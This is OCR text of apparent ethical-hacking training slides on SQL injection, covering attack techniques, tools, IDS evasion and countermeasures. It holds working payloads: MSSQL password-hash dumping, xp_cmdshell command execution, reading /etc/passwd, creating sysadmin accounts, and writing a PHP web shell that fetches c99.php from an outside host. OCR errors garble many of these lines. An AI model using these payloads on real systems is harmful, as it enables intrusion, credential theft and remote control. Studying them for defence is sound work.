Enumeration File location of databases

''and 1 in (select min(filesnames ) from master.dboc.sysdatabasss where filsnams >".' |} --
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Features of Different DBV Ss

MySQL MSSQL  MS Access Oracle DB2 PostgreSQL

" concat "
Ill|&l||l llIlll |t||+llll I|l|ll

String concat(,)
Concatenation  concat_ws(delim,)

Comments —-and /**/ and # --and /* --and /* --and /*

Request Union union and ; union union and ;

Sub-requests

Stored
Procedures

Availability of
information_schem
a or its Analogs

Example (MySQL): SELECT * from table where id = 1 union select 1,2,3
Example (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
Example (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
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Creating Database Accounts

—e Oracle
Microsoft SQL Server
exec sp_addlogin 'victor',K 'Passl23'
exec sp_ addsrvrolemember 'victor',
'sysadmin'’

CREATE USER victor IDENTIFIED BY Passl23
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;
ORACLE'
B

{ ()
§‘(3T.' Server2008 ( o '
MySQL

INSERT INTO mysgl.user
(user,

o 0

host, password)
VALUES ('victor',
'localhost’,

PASSWORD ('Pass123"'))

CREATE USER victorxr
IDENTIFIED BY 'Passl23'
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Grabbing username and
passwords from a User Defined table

John asd@123

Microsoft - Rebecca qwert123

T-SQL gequ;ler 7 Dennis pass@321
| ‘ '; begin declare @var varchar (8000)

set Qvar=':' select @var=Q@Rvar+' '+login+'/'+password+' ' from
users where login>@var select @var as var into temp end --

---------------------------------------------------------------------------------------------------------------------

A; ;3 ' ; drop table temp --

Lo

Password Grabbing

Database

Application

..........
...........
-----

-~ Attacker

Internet
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Grabbing SQL Server Hashes

SQL query
The hashes are extracted using SELECT name, password FROM
. sysxlogins
SELECT password FROM master..sysxlogins
" _‘\\ -

Wa then liax each Kash // - To display the hashes through an error
r \ message, convert hashes = Hex =

begin @charvalue='0x', @i=1, 4 ‘ :
J concatenate

flength=datalength (Ebinvalue) ,
Password field requires dbo access
With lower privileges you can still
recover usernames and brute force
the password

fhexstring = '0123456789ABCDEF’
while (8i<=Elength) BEGIN
declare @tempint int,

@firstint int, @secondint int

select @tempint=CONVERT
(int, SUBSTRING (Gbinvalue, @i, 1)) SQL server hash sample
select @firstint=FLOOR

(Gtempint/16)

J
=rD non

W -

select @secondint=@tempint —
(Bfirstint*16)

select @charvalue=@charvalue +

Extract hashes through error messages
SUBSTRING (fhexstring,@firstint+l,1) +

''and 1 in (select x from temp) --

SUBSTRING (@fhexstring, @secondint+l, 1)
'"'and 1 in (select substring (x, 256, 256) from temp) --
select @i=@i+1 END
''and 1 in (select substring (x, 512, 256) from temp) --

And then we just cycle through all passwords * drop table temp —-
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Extracting (In a Single
Statement)

'; begin declare @var wvarchar(8000), Gxdatel datetime, Ebinvalus

varbinary(255), @charvalue varchar(235), @i int, @length int, Ghexstring
char(l€) set @var=':' =elect @xdatel=(select min (xdatel) from
maszter.dbo.zysxlogins where password is not null) begin while @Exdatel <=
{zelect maxixdatel) from master.dbo.sysxlogins where password is not null)
begin szelect @hinvalus=(select password from master.dbo.sysxlogins where
xdatel=Exdatel), @Gcharvalus = 'Ox', Ei=1, @length=datalength(@binvalus),
Ghexstring = '012345678%ABCDEF' while (@i<=Eflength) begin declare Ftempint
int, @firstint int, @secondint int select @tempint=CONVERT (int,

SUBSTRING (@binwvalus,@1i,1)) select @firstint=FLCOOR (Etempint/1&) zelect

@zecondint=Rtempint - (Rfirstint*16) selesct Bcharvalue=Echarvalus + SUBSTRING
(Bhexstring,@firztint+1,1) + SUBSTRING (Ghexstring, @secondint+l, 1) select
@i=@i+]1 end select @var=@var+' | '+name+'/'+Echarvalus from
- _\ ) . -
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Interacting with the Operating System £

Py

There are two ways to interact with the OS: A MySQL OS Interaction

1. Reading and writing system files z\\
from disk LOAD_FILE MysaL®

2. Direct command execution via ' union select 1,load file('/etc/passwd'),1,1,1;
remote shell LOAD DATA INFILE

create table temp( line blob ) ;

load data infile '/etc/passwd' into table temp;
select * from temp;

SELECT INTO OUTFILE

Find passwords and execute commands

Both methods are restricted by the
database's running privileges and
permissions

soL MS SQL OS Interaction -ox -

'; exec master..xp cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt warchar(8000)); BULK INSERT tmp
FROM 'test.txt' —-

Database

<

"; begin declare @data warchar (8000) ; set @data='| ' ;
select Bdata=@data+txt+' | ' from tmp where txt<@data ;
select Bdata as x inte temp end --

" and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp cmdshell @Gvar; drop table temp; drop table tmp --
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Interacting with the FileSystem

LOAD_FILE()

The LOAD_FILE() function within MySQL is
used to read and return the contents of a file
located within the MySQL server

INTO OUTFILE()

The OUTFILE() function within MySQL is often
used to run a query, and dump the results
into a file

- NULL UNION ALL SELECT LOAD FILE('/etc/passwd')/*

If successful, the injection will display the contents of the passwd file

- NULL UNION ALL SELECT NULL,NULL,NULL,NULL, '<?php
system($ GET["command"]); ?>' INTO OUTFILE
' /var/www/juggyboy.com/shell.php'/*

If successful, it will then be possible to run system commands via the S_GET global. The following is an example of using
wget to get a file: http://www.juggyboy.com/shell.php ?command=wget http://www.example.com/c99.php
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L

Attacker Database

[ |

0S Shell

Local Network

[

Assessing Network Connectivity

1. Server name and configuration
''and 1 in (select @@ssrvername ) —--

and 1 in (select srvname from
master..sysservers ) —-—

2. NetBIOS, ARP, Local Open Ports, nslookup,
ping, ftp, tftp, smb, Trace route?

3. Test for firewall and proxies

T

Network Reconnaissance

You can execute the following using the
xp_cmdshell command:

Ipconfig /all, Tracert mylP, arp —a, nbtstat —c,
netstat —ano, route print

Gathering IP information through
reverse lookups

Reverse DNS

'; exec master..xXp cmdshell
'nslookup a.com MyIP' —-

Reverse Pings

'; exec master..xp cmdshell 'ping

10.0.0.75" —-
OPENROWSET

'; select * from OPENROWSET (
'SQLoledb', 'uid=sa; pwd=Passl23;
Network=DBMSSOCN;
Address=10.0.0.75,80;",

'select * from table')
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Network Reconnaissance Full Query

@ @ http://www.juggyboy.com

Note: Microsoft has J ; declare @var varchar (25€); set @var = ' del test.txt

disabled && arp -a >> test.txt && ipconfig /all >> test.txt &&
xp_cmdShellby nbtstat -c¢ >> test.txt && netstat -ano >> test.txt &&
default in SQL Server route print >> test.txt && tracert -w 10 -h 10 google.com
2005/2008 >> test.txt'; EXEC master..xp cmdshell @var --

To enable this feature -
EXEC sp configure
'xp cmdshell', 1

GO 1
RECONFIGURE

; CREATE TABLE tmp (txt wvarchar(8000)); BULK INSERT tmp

FROM 'test.txt' --

; begin declare @data wvarchar(8000) ; set @data=': ' ;
select @data=@data+txt+' | ' from tmp where txt<@data ;
select @data as x into temp end —-

' and 1 in (select substring(x,1,255) from temp) --
'; declare @var sysname; set @var = 'd test.txt'; EXEC
master..xp cmdshell @var; drop table temp; drop table tmp
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Module Flow

SQL Injection
Concepts

SQL Injection
Testing for SQL Methodology
Injection Blind SQL
Injection
Types of SQL Advanced SQL
Injection

Injection

SQL Injection
Tools
Evasion
Techniques

Countermeasures
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SQL Injection Tools: BSOLHacker

BSQL Hacker is an automated SQL Injection tool which supports Blind SQL Injection, Time Based Blind
SQL Injection, Deep Blind (based on advanced time delays) SQL Injection, Error Based SQL Injection

7 BSQL Hacker v09.05 - Beta but Getting There ¢ o £2 f BSQL Hacker v0.9.05 - Beta but Getting There!

Fie Templates Injection Import Edit Exploits Help File Templates Injection Import Edit Exploits Help
& i Injection Wizard a1 % Stop | MSSQL - g5t s Automated Attack | _ | F I/ Injection Wizard *) Stop  MSSQL - ‘ & Automated Attack |
+ Dasrboard | 98 Detoction 47 Request & inyection | £ Semngs | | Eracsed Database «/ Desboard |} Detecson | 4% Request & byection | £} Semngs | ') Erctes Dovahase

Detecton Type Search Based | Tms Eased | Doep Bind Eased | Ermoe Based Target URL + htip//132 168 2 55/SQLinecton-Numenc-Bind/ Mo 1/~/ AND/~ASNULLIASCINSUBS TRINGICAST % TBINJECTION 7T

Error Based Stan,
Y| Determine Differences Automabically S
® Signature / Search Basac

Time Bazed

Deep Bind

Positon
Max Length : 190

y
Seant Position * ¢

Other Sestings t i Max Thread
Follow Redrect 10

Request Hestory Proview
5006 -
5006
5006~
5006~
50.06-
5005 -
5006 -
5007 -
5007 -
5007 -

wnerr

chi>Productschisdhe />

Aabie widhe" 100573

an
ad colspan="2">h2>G heef="Tpe1"em L Sar e 2rcAd> “s/23D/ /2
Gt
ir>
<td colspana"2"sthis Is 2 test descanption for product 1<Ad
Ar>

{HEEEENEEES
ERRERSEEER

adsatrong>Pice etrong> $<Ad
Enable History @ & HTML |Raw Request | Appication Log (244) o HTML | Rew Requedt | Appication Log (171)
— | — Version check finished. Version check finished.
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SQL Injection Tools: Marathon Tool

'y Using Marathon Tool, a malicious user can send heavy queries to perform a
Time-Based Blind SQL Injection attack

1 Marathon Tool {version 0.13.10]
| File Help
I \\_V_(\m-nnsd’unl :Mbg
afengne. | Mcrosch SOL Server
Target base URL:  hitp-//www google com/
Database Schema extraction from Parameters |Cootoss | Atbertiation | Prasy
SQL Server, Oracle and MySQL Hame Y

»

Parameter Injection using HTTP GET
or POST

Sat ipection wth:  Stat_iny End ryection weh:  End_Iny

SSL support neseon cotaes
M heavy quecy tme 4500 & Fapeat tests count

HTTP reguest tmeout. 5000+ Min. jons for quenes:

HTTP proxy connection available Paune cherheavy ey | 50001 Max jos o Qs 82

Pause ster any query 2505 ¥ Enshis aqual sign in salects

Heavy quenes tables 2y3 dmabases, sysusers

Authentication methods:
Anonymous, Basic, Digest and NTLM i

http://marathontool.codeplex.com
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SOQL Injection Tools: SQL Power Injector

e == ]

U File Use Coakie For Load Page Tools 1

p-//in yshoo com/Tpeus
UL B [GET] hittp:/fin search.yalx

Database Type i Method Tochmqe General SQL Setings Hmdml.m
|7 © POST ® GET || @ Noumel O Blid || i Replace Spaco by, Numberof Threads LS|

i Distot B Top :w«a O Length ® Coumt | oo ictcece, ETIES)
Posite fever (N i o dckoy b b B Case Insonsiive

VB | Use Variablos Ramge [0

- p=+500>%28SELECT +LEN% 28% 29+ % 26t0ggle=1&cop=mss &ei =U T F - 88 lrmylp-1- M48vc [Cookies] fped-kVFaXKMU7ime_TVsENMIFIVN2IrcSHS 1LIpH K

- p=+250>% 28SELECT +LEN 28% 29+ % 26t0ggle~18cop-mas Sei ~UTF - B8 irmyipt- 048w [Cookies] fpe-c-kVFaXIMuw7imd_TVsPNeMIPIvNZSve SHWS1LIDpH K
- p=+125>%28SELECT +LEN% 28% 29+ % 26loggle=18cop=mss ei =T F-B&freyip - 7048ve= [Cookies] fpomd=kVF XXM 7imA_TVs PNAMIPIVNITeSbWg TLIDpHIKh |

-pe+62>%28SELECT+LEN % 207 29+ % 26toggle= 1 8cop=msz Sl =UTF- 84frayipt 7048w [Cookis] foo-d-kVFDXMUWTiTA_TVPHIMIPIVAOSTCSHWO 1LIDpHIKNN |
- p=+31>%28SELECT +LEN % 28% 29+ % 26t0ggle~ 1 bcop=mss &ei -UTF 881 yip4-T04Ave~ [Cookies] fpe-d-kVFaXXMUWTImd_TVsPNrMIPINZIncStW1LIDGHIKhun |
- p=+15>%28SELECT +LEN % 28% 29+ % 26toggle~ 1 8cop-mssdei = UTF- 841ryip 1 7048ve= [Cookies] fpo-d-kVFaXiMuw7imd_TVsPNMIPIvNDircSHWS1LIDpHIKhun

- peeT>%2BSELECT +LEN 28%29+ % 2610001 €= 1 5cop=ms s i =UTF -84t vy fp-t TS [Cookies] fpo-d-kVF XXMM int_TVaPNeMIP Iy N2l S 1LIDpHiIKbuns |

-p=+3>%2BSELECT +LEN 28% 29+ % 26t0ggle~1 Acop=ms s &ei-UTF -8 4fry ip-4 TO4Sve- [Cookiea)] ipe-d-kVF X007 _TVaPNPIvNZicSHinS1LIDpHIKiuns |

- p=+1>%28SELECT +LEN 28% 29+ % 26t0gg] =1 cop=mss&ei=UTF-84fr =y -t T0Hve= [Cookies] fpc-d-kVF XXM 7ind_TVaPNeMIP Iy N2iec S 1LIDpHIKns

- SQL Power Injector is automated SQL injection tool
J It automatically detects predefined SQL errors in the response page
http://www.sqlpowerinjector.com
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SQL Injection Tools: Havij

Tauget hitp://www target com/index.aspide123 htp:/Nlocalhost/dvwa/vulnerabilities/sqh/? Submite SubmitBidml

Kepword Syenax Keyword Syriax

© «
DasBase Auto Detect * Method [GET | » Twom [Auto Detect *| oad Save DataBase: Auto Detect v Method |GET -

=

i
Type: Auto Detsct *|  oad Save

& I % & 5 ) %
FedAdrn ~ MOS Settings Query  FndAdmn MOS Settings

Havij - Advanced SQL Injection Tool

v 1 1
Get Tobles Get Columns  Get Data Seve Tables  Save Data
Version 1.12 Pro

S ER) Copyright © 2009-2010 S w plssword

By radmov2

Sfadoc B33 TREAS | D 7dob

29 Ino 19 4200 30052606535,
http: /ATSecTeam com 4 Updste Row |

IO
http: /forum Itsecteam.com o Oelete Row Saelr e0d4f
info@itsecteam.com Chedk for update y Irsee tRow Ade3deSe...
—creotad 16506 10832 7deb. .

Dats Bases:
MsSQL with error
MsSQL no error
MsSQL Bbnd
Mshccess
MsAccess Blind

Using this SQL injection tool, an attacker can perform back-end 5 Use Gaoup, Conodt ML Ori
database fingerprint, retrieve DBMS users and password Status I'm IDLE
hashes, dump tables and columns, fetching data from the wtcokumn_nam

Columns found ng’r_44;_ll-r;r_;\a

database, running SQL statements and even accessing the Dats Found: user,pesswordmadminSKdcc3bSsa765d6148327deba82cl99
. - . Data Found: user.passwordwmoordenb”e99al

underlying file system and executing commands on the F 3378435

Data Found: user,passwordw133

2 Data Found: user,passwordspsblo”
operating system

Dats Found: user,password=smithy ~S8dcc3dS2765¢61d8327deb882¢199

3 hama .column hare tab

Son_ se ”
me,|ast_name user,password avatar
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Tools

A
@\v ' sQL Brute Absinthe
http://www.gdssecurity.com http://www.0x90.0rg
| S——
r—f\ -

o BobCat £ 1 SQLInjection Brute-forcer

| http://www.northern-monkee.co.uk _,"" A http://code.google.com

Jrem— N—
i

EAR‘]J Sqlninja

O\
éw ) sqglmap
- http://sqlninja.sourceforge.net X
|

http://sqlmap.sourceforge.net

S SQLGET
‘ .:-) http://www.darknet.org.uk

: Q SQL Injection Digger
’ Ugm http://sqid.rubyforge.org
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Tools

= Pa_ngollm — Automatic SQL IW , sQLler
= Injection Penetration Testing Tool | S http://bcable.net
— http://www.pentestit.com
»  sqlbf = NGSSQuirreL
http://www.cqure.net http://www.ngssoftware.com
@) ¢
: [ J§
e FJ-Injector Framework e5iC]) Sqlsus
http://sqlninja.sourceforge.net &O http://sqlsus.sourceforge.net
i
. 35 Exploiter (beta) Mw SQLEXEC( ) Function
http://www.ibm.com — !i http://msdn.microsoft.com
|
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Module Flow

SQL Injection
Concepts

SQL Injection
Testing for SQL Methodology
Injection Blind SQL
Injection
Types of SQL Advanced SQL
Injection

Injection

SQL Injection
Tools
Evasion
Techniques

Countermeasures
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SAL Injection Attack Internet Firewall

Evading IDS

Attackers use evasion techniques to obscure input strings in order to
avoid detection by signature-based detection systems

Signature-based detection systems build a database of SQL injection

attack strings (signatures) and then compare input strings against the Secun:ty Admin

signature database at runtime to detect attacks

Network OS Shell Actual Data Database Web Application
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Types of Signature Evasion Techniques
o

I
Sophisticated Matches © O In-line Comment

Uses alternative !
expression of “OR 1=1"

Obscures input strings by
inserting in-line comments

between SQL keywords
Hex Encoding ©

Uses hexadecimal

© Char Encoding
encoding to represent a
SQL query string

Uses built-in CHAR

function to represent a
character

Manipulating White Spaces QO
Obscures input strings by dropping

O String Concatenation
white space between SQL keyword

Concatenates text to create SQL
O keyword using DB specific instructions
Obfuscated Codes

Obfuscated code is an SQL statement that has been made difficult to understand
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Evasion Technique:
Sophisticated Matches

LB SQL Injection Characters

Evading ' OR 1=1 signature

' OR 'john' ="john'

' OR 'microsoft’ = 'micro'+'soft’
' OR 'movies' = N'movies'

' OR 'software' like 'soft%'
‘OR7>1

"OR 'best’ > 'b'

' OR 'whatever' IN (‘whatever')
"OR 5 BETWEEN 1 AND 7

' or " character String Indicators

-— or # single-line comment
/*_.*/ multiple-line comment

+ addition, concatenate (or space in url)
| | (double pipe) concatenate

% wildcard attribute indicator
?Paraml=foo&Param2=bar URL
Parameters

PRINT useful as non transactional
command

@variable local variable
@@variable global variable
waitfor delay '0:0:10' time delay

An IDS signature may be looking
for the "OR 1=1. Replacing this
string with another string will
have same effect.
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Evasion Technique: Hex Encoding

Using a hex value

; declare @x varchar(80) ;

set @x =
0x73656c65637420404076657273

696f6e; EXEC (@x)

This statement uses no single quotes (')

String to Hex Examples

SELECT @@version = 0x73656c65637420404076657273696f6

DROP Table CreditCard = 0x44524f50205461626c6520437265646974
43617264

INSERT into USERS ('Juggyboy’, "qwerty’) = 0x494e5345525420696e74
6f2055534552532028274a7

5676779426f79272c202771
77657274792729
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Evasion Technique: Manipulating
White Spaces

White space manipulation technique obfuscates input strings by
dropping or adding white spaces between SQL keyword and
string or number literals without altering execution of SQL
statements

Adding white spaces using special characters like tab, carriage return
or linefeeds makes an SQL statement completely untraceable without
changing the execution of the statement

“UNION SELECT” signature is different from “UNION SELECT”

Dropping spaces from SQL statements will not affect its
execution by some of the SQL databases

'OR'1'="1" (with no spaces)
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Evasion Technique: In-line

Evade signatures that filter white spaces

In this technique, white This allows to spread the
spaces between SQL | injection commands
keywords are replaced by through multiple fields

inserting in-line comments
USERNAME : "or 1/*

/* .. */isusedinSQLto PASSWORD: */ =1 --
delimit multirow comments

UNION/**/SELECT/**/
'/**/0R/**/1/**/=/**/1
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Evasion Technique: Char Encoding

Char () function can be used to inject SQL
injection statements into MySQL without

using double quotes Check for existing files (string = "n.ext"):

' and 1=( if(
(load file(char(110,46,101,12
0,116) )<>char(39,39)),1,0));
Inject without quotes
(string ="%"):

' or username like
char (37) ;
Inject without quotes
(string = "root"):
' union select * from

users where login =
Load files in unions (string = "/etc/passwd"): § J char(114,111,111,116);

' union select 1,
(load file(char(47,101,116,99,47,
112 ,97,315, 115 119:-7100)));%,1,1;
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Evasion Technique: String Concatenation

‘ Split instructions to avoid signature detection by
using execution commands that allow to
concatenate text in a database server

“id§: SEL { + (ECTUS: + : ER i > :

B P P

L USER  Reers

. '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'

; EXEC ('DRO' + 'P T' 'AB' +

MYSQL: ' ; EXECUTE CONCAT('INSE', 'RT US', 'ER') .

Compose SQL statement by
concatenating strings instead
of paramgterized query
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Evasion Technique: Obfuscated Codes

Obfuscated “qgwerty”

Examples of obfuscated codes for the string “qwerty”:

Reverse (concat (i1f (1,char(121),2),0x74, right(left(0x567210,2),1),

lower (mid ('TEST',2,1)),replace(0x7074, 'pt','w'),char(instr(123321,33)+110)})

- 27 (2

Concat (unhex (left (crc32(31337),3)-400), unhex(ceil(atan(l)*100-2)),
unhex (round(log(2) *100)-4), char(114),char(right (cot(31337),2)+54),

An example of bypassing signatures (obfuscated code for request):

The following request corresponds to the application signature:
/?id=1+union+(select+l,2+from+test.users)

The signatures can be bypassed by modifying the above request:
/?id=(1l)unIon(selEct(l) ,mid(hash,1,32) from(test.users))
/?id=1+union+(sELect'l', concat (login, hash)from+test.users)

/?id=(1)union(((((((select(l) ,hex(hash)from(test.users))))))))
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Module Flow

SQL Injection
Concepts

SQL Injection
Testing for SQL Methodology
Injection Blind SQL
Injection
Types of SQL Advanced SQL
Injection

Injection

SQL Injection
Tools
Evasion
Techniques

Countermeasures
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How to Defend Agamst SOQL Injection
Attacks?

Applications are
Vulnerable to SQL
Injection Attacks?
Monitor DB traffic using

Run database service an IDS, WAP
account with minimal rightsv 7RO Databhase serverfuns0s

- commands Use low privileged
Disable commands like ' account for DB connection
xp_cmdshell

:,-"\A Using privileged account to
connect to the Database

99 Error message revealing
- M important information

Suppress all error v

messages I
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Against SQL Injection Attacks?

Make no assumptions about the size, type, or content of the
data that is received by your application

Test the size and data type of input and enforce

s appropriate limits to prevent buffer overruns :
VR User: Input
\ ) Test the content of string variables and accept only :
T— expected values v
Validate ) Reject entries that contain binary data, escape A B ’A
T A
All Input — sequences, and comment characters | @ | -
( ) Never build Transact-SQL statements directly from user Validated
S input and use stored procedures to validate user input v P
P ———
Implement multiple layers of validation and never concatenate ik
- user input that is not validated m Bad Input
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How to Defend Against SQL Injection Attacks:
Use Type-Safe SQL Parameters

Input is treated as a literal value i Type and length checks can be enforced
instead of executable code using Parameter Collection

SglDatalRdapter myCommand = new SglDataldapter ("AuthLogin™, conn);

myZommand. SelectCommand. CommandType = CommandType.StoredProcadure; SglParameter
parm = myCommand.SelectCommand.Parameters.A4d("Baut_id", S5glDbType.VarChar, 11):

parm.Value = Login.Text;

In this example, the @aut_id parameter is treated as a literal value instead of as executable code. This value is checked for type and length.

This is safe code that uses parameter collection sssssss

SglDatakdapter myCommand = new
SglDataRdapter( "SELECT aut lname, V
aut fname FROM AZuthors WHERE aut id =
@auz_id”, conn); SQLParametsar pafm =
myCommand. SelectCommand. Parameters . Add ("Eau
t_id", 53glhkTyps.VarChar, 11); Parm.Value =
Login.Text;

% This code is vulnerable to SQL injection

SglDatalfdapter myCommand =
new SqlDataldapter ("LoginStoredProcedure '™ +
Login.Text + "'", conn);
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Against SQL Injection Attacks?

http://juggyboy.com/?id=blah’ OR 1=1 —
w p://juggyboy.com/?id=bla Keep

Patches current

— W 5 Y [
. ‘ <
‘ e
Attacker Login Form Internet L Webs_erver

Firewall/IDS and filter packets

Connect to the Database

- emrnnnannannananst

C y H -Drivi e 8 Yoy

L ) P e peregedacc s f ] Analyze the source

\ ‘: ®) ®) < code for SQL Injection

Vo‘: H <----------I----.-.-:-:----u--------------b- ------- [ \_] Minimize Use of 3rd

\ / Grant eatst l::Inwleg::s tcla the database, ‘ Party Apps

DBMS e e Web Application
Disable commands Use stored procedures and Disable verbose error messages
X V like xp_cmdshell parameter queries : - and use custom error pages
l(f;r | 4._____.___“_.______ u..---....-.---...-.). ; %i~ . - .\. ~
; @) \ = N

SQL Query Custom Error Page
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SOL Injection Detection Tool:

7

J Microsoft Source Code Analyzer for SQL @ Command Prompt 1
lnjeCtlon |S a Static COde analySiS tOOl fOF E:\TE"P?H:’;‘Z;«)‘S i>nsucagi‘dug /%nput ;‘c:\g‘arlwp‘lxtcst.u::p“u
- e z 2 =l X Microsoft Source Code Analyzer for SQL Injection Uersion
1.3.30601.38622
flndlng SQL InJECtIon VU|nerabl“tles In ASP ICopyright <C)> Microsoft Corporation. All rights reserved.
COde :\tenmp\test.aspl(?3) : warning C88480: Unvalidated HITP Requ
est data possibly executed, making ’UBSMAIN’ potentially vul
0 ltscans ASP source code and generates  ESRRTINNY iony SRR S MR AT L AN
. . 1 object OBJCOMMAND <{created as return.FORM 21).
warnings related to first order and second
. . =gesie Path summary: » ) .
order SQL InJect|on Vulnerab|||t|es g of‘m’:;i:)lz[:éctl’{ﬂzili-:_;:;u(n;rlngORH 21 : string_unvalidated] create

- {return.FORM) [return.FORM"21 : string_unvalidated] to (ST
RAUTHOR, return.FORM) [return.FORM 21 : string_unvalidated] b
y assignmnent <(line 21)

{STRAUTHOR, retuwn.FORM) [yeturn.FORM'21 : string_unvalida
ted] to {STRAUTHOR. STRCHD, return.FORM) [re n.FORM'21 : st

ring_unvalidated] on 'Transfer’ (line 63D
— {STRAUTHOR,. STRCMD, return.FORM)[(return.FORM'21 : string_
wmvalidated] to {5, STRAUTHOR, )TR(‘HD, return.FORM) [return.F
JORM*21 : string_unvalidated] on ’Transfer’ (line 67)
{5, STRAUTHOR, STRCMD, return.FO eturn. FORM'21 : stri
i RM*21 : rnnnand unv
rlidated] on ’TaintCommand’
{OBJCOMMAND> [»eturn.FORM"' - B
JCOMMAND? [return.FORM'21 : 9( 3 'Execute’ (line
: Lines: 17, 19, 21, 25, 35. 32, 41, 4?2, 51, 63,

o= - )

Attacker SQL Injection Microsoft Source
Code Analyzer
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SQL Injection Detection Tool: Microsoft

UrlScan

@ |t restricts the types of HTTP requests that IIS processes

® By blocking specific HTTP requests, the UrlScann security tool helps to prevent
potentially harmful requests from reaching applications on the server

£ C\WINNT  system32\inet sry\urlscan\urlscan.ini -
Fe Edt Favourtes Options Help

D@L ®k & 4o

wF o

[{options]
UseAllovwVerbs=1

section
UsedllovExtensions=0
[DenyExtensions] section
NormalizeUrlBeforeScan=1
Verifylormalization=1
change cccurs
AllovHighBitCharacters=1
URL

AllowbotinFath=y
RemoveServerleader=0
Enablelogging=l
PerProcesslogging=0
UrlScan.123.log)
AlloviateScanning=0

1f RenoveServerHeader is 0
AlternateServerfane~
[AllowVerbs)

The verbs

processed by a typical IIS server

. Yote that
18 sat in

DOS 'INS Lo 17141 Cot1

http://cchwn (el EE NEWS

1

these entries are effective if
the [Options] section above

Canified Ethical Hacker

. use [AllowVerbs] section

. use [AllovExtensions] section,

else use [DenyVerbs]
else use

canonicalize URL before processing

., canonicalize URL twice and reject request if a

allov high bit (ie. UTF8 or NBCS) characters in

. #llov dots that are not tile extensions

renove “Server® header frox response
log UrlScan activity

. the UrlScan log filename will contain a PID (ie

then UrlScan will load a= a low priority filter

then AlternateServerlaae can be
used to specify a replacesxsnt for 1IS's built in

‘Server' header

(aka HTTP methods) listed here are thoss commonly

*UseAllovVerbs=1°

es

http:

C

21

Directory Security | HTTPHeaders | CustomErrors | Service | ASP.NET |
webSte | Performance ISAPI Filters Home Directory |  Documerts |

The following filters are active for all Web stes on this computer and exeaed in
the order ksted below. These filers are visible only from this property page, and
cannot be viewed on the property pages of individual Web sites.

| Fiker Name
ASP.NET_2.0.50727.0
UrlScan 3,1

s
fove i I

http://technet.microsoft.com
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SQL Injection Detection Tool:

dotDefender is a software
based Web Application
Firewall

dotDefender complements

the network firewall, IPS and
other network-based Internet
security products

It inspects the HTTP/HTTPS
traffic for suspicious behavior

It detects and blocks SQL
injection attacks

*» Bl»ma

fender (325 cays eft)
Event Viewer (Loca)
Intevet Information Services {
O uoense
2 Glodal Setangs
& () Default Secunty Profle Protec
) Server Masking
A Upioad Foiders
L Patters
2 Whitelst Permitted Ac
# G Paranoid
% G2 Encodeg
® (2 Wuffer Overfom
2 5L Ijecten
i User Defred
Best Prachoes
% (2 Cross-Bie Soptng
2 () Cacke Manpulaton
2 ot Traversd
& L Brobeg
2 Bemote Command Brac
5 () Cade Mrjecton
2 Windows Drectores a1

4 D DL Schera
5 (2 YPuth Injacton
() WPath Croms Sax S0y
Sgratres
@ (Lise ettty
(3] Athens FTP Ste (Lise Defacit)

d tDefender”g
y_SOL Injection

Croose whick type

of $OL Pjectien w2acks % earcast

Suspect Single Quote (Safe)
Pattern = Pattern
Clazsic SQL Comment "

SQL Comments

‘Union Select” Statement : n
‘Select Version’ Statement

SQL CHAR Type

SQL SYS Commands

IS_SRVROLEMEMSBER followed by (

MS SQL Specific SQL Injection
k!

http://www.applicure.com
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IBM Rational AppScanis a
Web application security
testing tool that
automates vulnerability
assessments

Prevents SQL injection
attacks on Websites

Scans Web sites for
embedded malware

Regulatory compliance

@ Untitled - 18M Rational AppScan

Url Based ~
22 My Appicason 15

- l} g/ /demo bestfrenet/ (5]

Total number of issues

A’
& comment.aspx (1)
&) delah s
&) feecback aspw
&) search amn
& wrvey_questions axpx
= € berk (2}
g m
& lognaox (1)
= L mages
D/

SOQL Injection Detection Tool: IBIM AppScan

EBX

Phasa 1! 39'cmchu

ol KIERE0NA0K 1223

fcsl.ng: hitp://demo testtire net/msadc/  KIBREL

Aatanged By Severty Descerding
3 5 Secunty lssuss (7 vanarks] for My Apglcshon’
S JCossSie Scigting [
= 3D hip//demo teslire net/comment apx {1)
@ comerent sipx
2 D P atebare Gmer Potlun Fournd |}
= 2D hip.//demo testive net/bankJogn aspx |1
@ logn aspx
* 3 Deectowy Listng (1
& U Apphcaton Text Scrigt Detected (1
#i & Micsosolt ASPNET Debugang Ensbled |1

Newt »

£ lesue Infoimation | ¥4 Advisoly | & Fix Recommendation | % Recuest/Remponze

Z severity.

> Type:
7> WASC Threat Cl

Application-level test

Client-side Aitacks Cross-sde Scrpting

7 CVE Reference(s):

> Security RIsk:

NA
1 IS possible to steal or manipulate customer session and ¢

and reporting

which might be used to impersonate a leg| t
1w Or alter user records, and 1o perform trans.

w Possible Causes
Sanitadon of hazardous

{1 SSecuiylise: @2 W1
) A D3 T |

iifib://www—Ol.ibm.b&iﬁ -
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Snort Rule to Detect SQL Injection Attacks

Block these
expressions
» fexec (\s|\+)+(s|x)p\w+/ix . inSNORT

- » / ((\%27) | (\"))union/ix

alert tcp SEXTERNAL NET any -> SHTTP_SERVERS SHTTP PORTS (msg:"SQL Injection
- Paranoid";

flow:to_server,established;uricontent:".pl";pcre:"/ (\%27) | (\") | (\-\-

)1 (%23) | (#)/1i"; classtype:Web-application-attack; sid:9099; rev:5;)
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Detection Tools

SQL Block Monitor

http://sql-tools.net

HP Weblnspect

https://h10078.www1.hp.com

y : i
= JE SQLDict Acunetix Web Vulnerability

|- S
%ﬁ http://ntsecurity.nu canner
http://www.acunetix.com
=]
i HP Scrawlr ) i ' GreenSQL
" https://h30406.www3.hp.com |"~~ \ ",] http://www.greensql.net
&3 b 4=
— =&
e G Paros = CAT.NET
|B \ / http://www.darknet.org.uk @ http://www.microsoft.com
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IModule

SQL Injection is the most common Website vulnerability on the Internet that takes advantage
of non-validated input vulnerabilities to pass SQL commands through a Web application for
execution by a backend database

O Threats of SQL injection include authentication bypass, information disclosure, and data
integrity and availability compromise

U Database admins and Web application developers need to follow a methodological approach to
detect SQL injection vulnerabilities in web infrastructure that includes manual testing, function
testing, and fuzzing

O SQLinjection is broadly categorized as simple and blind; Simple SQL injection is further
categorized as UNION and Error-based SQL injection

